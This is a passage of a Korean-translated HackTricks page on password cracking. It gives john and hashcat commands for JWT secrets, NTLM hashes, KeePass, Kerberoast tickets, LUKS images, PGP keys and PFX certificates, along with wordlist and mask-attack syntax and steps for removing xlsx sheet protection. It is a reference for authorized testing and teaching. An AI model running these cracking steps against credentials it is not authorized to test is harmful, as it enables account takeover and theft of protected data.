python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
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### NTLM 크래킹
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```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
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john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
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hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
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### Keepass
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```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
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keepass2john -k < file-password > file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
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john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
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### Keberoasting
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Keberoasting은 액티브 디렉터리 서비스 계정의 암호화되지 않은 서비스 티켓을 추출하는 기술입니다. Keberoasting은 액티브 디렉터리 서비스 계정의 암호화되지 않은 서비스 티켓을 추출하는 기술입니다.
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```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
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### Lucks 이미지
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#### 방법 1
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설치: [https://github.com/glv2/bruteforce-luks ](https://github.com/glv2/bruteforce-luks )
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```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
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#### 방법 2
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```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
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hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
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cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
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다른 Luks BF 튜토리얼: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1 ](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1 )
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### Mysql
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```bash
#John hash format
< USERNAME > :$mysqlna$< CHALLENGE > *< RESPONSE >
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
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### PGP/GPG 개인 키
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```bash
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gpg2john private_pgp.key #This will generate the hash and save it in a file
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john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
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### Cisco
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< figure > < img src = "../.gitbook/assets/image (663).png" alt = "" > < figcaption > < / figcaption > < / figure >
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### DPAPI Master Key
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[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py ](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py )을 사용한 다음 john을 사용합니다.
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### Open Office Pwd Protected Column
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만약 암호로 보호된 열이 있는 xlsx 파일이 있다면 다음을 수행할 수 있습니다:
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* **Google 드라이브에 업로드**하면 암호가 자동으로 제거됩니다
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* 수동으로 **제거**하려면:
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```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
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# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
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# Remove that line and rezip the file
zip -r file.xls .
```
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### PFX 인증서
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```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
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# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
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```
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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[**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force )를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
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오늘 바로 액세스하세요:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=brute-force" %}
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## 도구
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**해시 예시:** [https://openwall.info/wiki/john/sample-hashes ](https://openwall.info/wiki/john/sample-hashes )
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### 해시 식별자
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```bash
hash-identifier
> <HASH>
```
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### 워드리스트
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* **Rockyou**
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* [**Probable-Wordlists** ](https://github.com/berzerk0/Probable-Wordlists )
* [**Kaonashi** ](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists )
* [**Seclists - Passwords** ](https://github.com/danielmiessler/SecLists/tree/master/Passwords )
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### **워드리스트 생성 도구**
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* [**kwprocessor** ](https://github.com/hashcat/kwprocessor )**:** 구성 가능한 기본 문자, 키맵 및 루트를 가진 고급 키보드 워크 생성기.
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```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
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### John 변이
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_**/etc/john/john.conf**_을 읽고 구성합니다.
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```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
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### Hashcat
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#### Hashcat 공격
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* **워드리스트 공격** (`-a 0`) with rules
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**Hashcat**은 이미 **규칙을 포함한 폴더**가 함께 제공되지만 [**여기에서 다른 흥미로운 규칙을 찾을 수 있습니다** ](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
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```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
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* **워드리스트 조합** 공격
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해시캣을 사용하여 2개의 워드리스트를 **하나로 결합**할 수 있습니다.\
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첫 번째 리스트에는 ** "hello"**라는 단어가 포함되어 있고, 두 번째 리스트에는 ** "world"**와 ** "earth"**라는 단어가 각각 2줄씩 포함되어 있다고 가정했을 때, `helloworld` 와 `helloearth` 단어가 생성됩니다.
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```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
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# In the previous example this will generate:
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## hello-world!
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## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```
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* **마스크 공격** (`-a 3`)
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```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:; < =>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
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# Mask attack declaring custom charset
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hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
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## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
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# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
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* 워드리스트 + 마스크 (`-a 6`) / 마스크 + 워드리스트 (`-a 7`) 공격
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```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
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#### Hashcat 모드
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```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
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# Cracking Linux Hashes - /etc/shadow file
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리눅스 해시 크래킹 - /etc/shadow 파일
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```
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500 | md5crypt $1$, MD5(Unix) | Operating-Systems
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3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
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윈도우 해시 크래킹
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```
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3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
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일반적인 응용 프로그램 해시 크래킹
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```
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900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
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10800 | SHA-384 | Raw Hash
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1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
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```
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< details >
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< summary > < strong > 영웨이 에이더블유에스 해킹을 제로부터 히어로까지 배우세요< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
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다른 방법으로 HackTricks를 지원하는 방법:
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2024-05-05 22:46:17 +00:00
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
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* [**공식 PEASS & HackTricks 스왹** ](https://peass.creator-spring.com )을 받아보세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
* **💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f )에 가입하거나 [**텔레그램 그룹** ](https://t.me/peass )에 가입하거나 **트위터** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 저장소에 제출하세요.
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< / details >
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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[**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force )를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 액세스하세요:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=brute-force" %}